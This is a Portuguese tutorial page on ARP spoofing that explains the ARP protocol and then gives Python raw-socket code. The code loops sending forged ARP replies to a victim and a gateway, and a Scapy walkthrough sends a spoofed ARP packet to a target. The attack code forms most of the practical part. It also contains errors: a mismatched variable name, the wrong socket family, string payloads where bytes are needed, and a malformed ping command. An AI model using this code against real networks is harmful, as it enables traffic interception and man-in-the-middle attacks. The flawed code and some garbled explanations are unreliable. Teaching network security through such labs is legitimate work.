Teste de penetração Python - ARP Spoofing

O ARP pode ser definido como um protocolo sem estado que é usado para mapear endereços de protocolo da Internet (IP) para endereços de máquina física.

Trabalho de ARP

Nesta seção, aprenderemos sobre o funcionamento do ARP. Considere as seguintes etapas para entender como o ARP funciona -

  • Step 1 - Primeiro, quando uma máquina deseja se comunicar com outra, ela deve consultar sua tabela ARP para obter o endereço físico.

  • Step 2 - Se encontrar o endereço físico da máquina, o pacote após a conversão para o comprimento correto, será enviado para a máquina desejada

  • Step 3 - Mas se nenhuma entrada for encontrada para o endereço IP na tabela, o ARP_request será transmitido pela rede.

  • Step 4- Agora, todas as máquinas na rede irão comparar o endereço IP transmitido ao endereço MAC e se alguma das máquinas na rede identificar o endereço, ela responderá ao ARP_request junto com seu endereço IP e MAC. Essa mensagem ARP é chamada ARP_reply.

  • Step 5 - Por fim, a máquina que envia a solicitação armazenará o par de endereços em sua tabela ARP e toda a comunicação será realizada.

O que é ARP Spoofing?

Pode ser definido como um tipo de ataque em que um agente mal-intencionado está enviando uma solicitação ARP forjada pela rede local. ARP Poisoning também é conhecido como ARP Spoofing. Pode ser entendido com a ajuda dos seguintes pontos -

  • O primeiro spoofing de ARP, para sobrecarregar o switch, criará um grande número de pacotes de solicitação e resposta ARP falsificados.

  • Então, a chave será colocada no modo de encaminhamento.

  • Agora, a tabela ARP seria inundada com respostas ARP falsificadas, para que os invasores pudessem farejar todos os pacotes de rede.

Implementação usando Python

Nesta seção, entenderemos a implementação Python de spoofing de ARP. Para isso, precisamos de três endereços MAC - primeiro da vítima, segundo do atacante e terceiro do gateway. Junto com isso, também precisamos usar o código do protocolo ARP.

Vamos importar os módulos necessários da seguinte forma -

import socket
import struct
import binascii

Agora, vamos criar um socket, que terá três parâmetros. O primeiro parâmetro nos diz sobre a interface do pacote (PF_PACKET para Linux específico e AF_INET para Windows), o segundo parâmetro nos diz se é um socket raw e o terceiro parâmetro nos diz sobre o protocolo no qual estamos interessados ​​(aqui 0x0800 usado para IP protocolo).

s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket. htons(0x0800))
s.bind(("eth0",socket.htons(0x0800)))

Agora iremos fornecer o endereço mac do invasor, vítima e máquina de gateway -

attckrmac = '\x00\x0c\x29\x4f\x8e\x76'
victimmac ='\x00\x0C\x29\x2E\x84\x5A'
gatewaymac = '\x00\x50\x56\xC0\x00\x28'

Precisamos fornecer o código do protocolo ARP conforme mostrado -

code ='\x08\x06'

Dois pacotes Ethernet, um para a máquina da vítima e outro para a máquina do gateway, foram elaborados da seguinte forma -

ethernet1 = victimmac + attckmac + code
ethernet2 = gatewaymac +  attckmac + code

As seguintes linhas de código estão em ordem de acordo com o cabeçalho ARP -

htype = '\x00\x01'
protype = '\x08\x00'
hsize = '\x06'
psize = '\x04'
opcode = '\x00\x02'

Agora precisamos fornecer os endereços IP da máquina de gateway e das máquinas vítima (vamos supor que temos os seguintes endereços IP para máquinas de gateway e vítima) -

gateway_ip = '192.168.43.85'
victim_ip = '192.168.43.131'

Converta os endereços IP acima para o formato hexadecimal com a ajuda do socket.inet_aton() método.

gatewayip = socket.inet_aton ( gateway_ip )
victimip = socket.inet_aton ( victim_ip )

Execute a seguinte linha de código para alterar o endereço IP da máquina gateway.

victim_ARP = ethernet1 + htype + protype + hsize + psize + opcode + attckmac + gatewayip + victimmac + victimip
gateway_ARP = ethernet2 + htype + protype + hsize + psize +opcode + attckmac + victimip + gatewaymac + gatewayip

while 1:
   s.send(victim_ARP)
   s.send(gateway_ARP)

Implementação usando Scapy em Kali Linux

A falsificação de ARP pode ser implementada usando Scapy no Kali Linux. Siga estas etapas para realizar o mesmo -

Etapa 1: endereço da máquina do invasor

Nesta etapa, encontraremos o endereço IP da máquina do invasor executando o comando ifconfig no prompt de comando do Kali Linux.

Etapa 2: endereço da máquina de destino

Nesta etapa, encontraremos o endereço IP da máquina de destino, executando o comando ifconfig no prompt de comando do Kali Linux, que precisamos abrir em outra máquina virtual.

Etapa 3: fazer ping na máquina de destino

Nesta etapa, precisamos fazer o ping da máquina alvo da máquina do invasor com a ajuda do seguinte comando -

Ping –c 192.168.43.85(say IP address of target machine)

Etapa 4: cache ARP na máquina de destino

Já sabemos que duas máquinas usam pacotes ARP para trocar endereços MAC, portanto, após a etapa 3, podemos executar o seguinte comando na máquina de destino para ver o cache ARP -

arp -n

Etapa 5: Criação de pacote ARP usando Scapy

Podemos criar pacotes ARP com a ajuda de Scapy da seguinte maneira -

scapy
arp_packt = ARP()
arp_packt.display()

Etapa 6: Envio de pacote ARP malicioso usando Scapy

Podemos enviar pacotes ARP maliciosos com a ajuda de Scapy da seguinte maneira -

arp_packt.pdst = “192.168.43.85”(say IP address of target machine)
arp_packt.hwsrc = “11:11:11:11:11:11”
arp_packt.psrc = ”1.1.1.1”
arp_packt.hwdst = “ff:ff:ff:ff:ff:ff”
send(arp_packt)

Step 7: Again check ARP cache on target machine

Agora, se verificarmos novamente o cache ARP na máquina de destino, veremos o endereço falso '1.1.1.1'.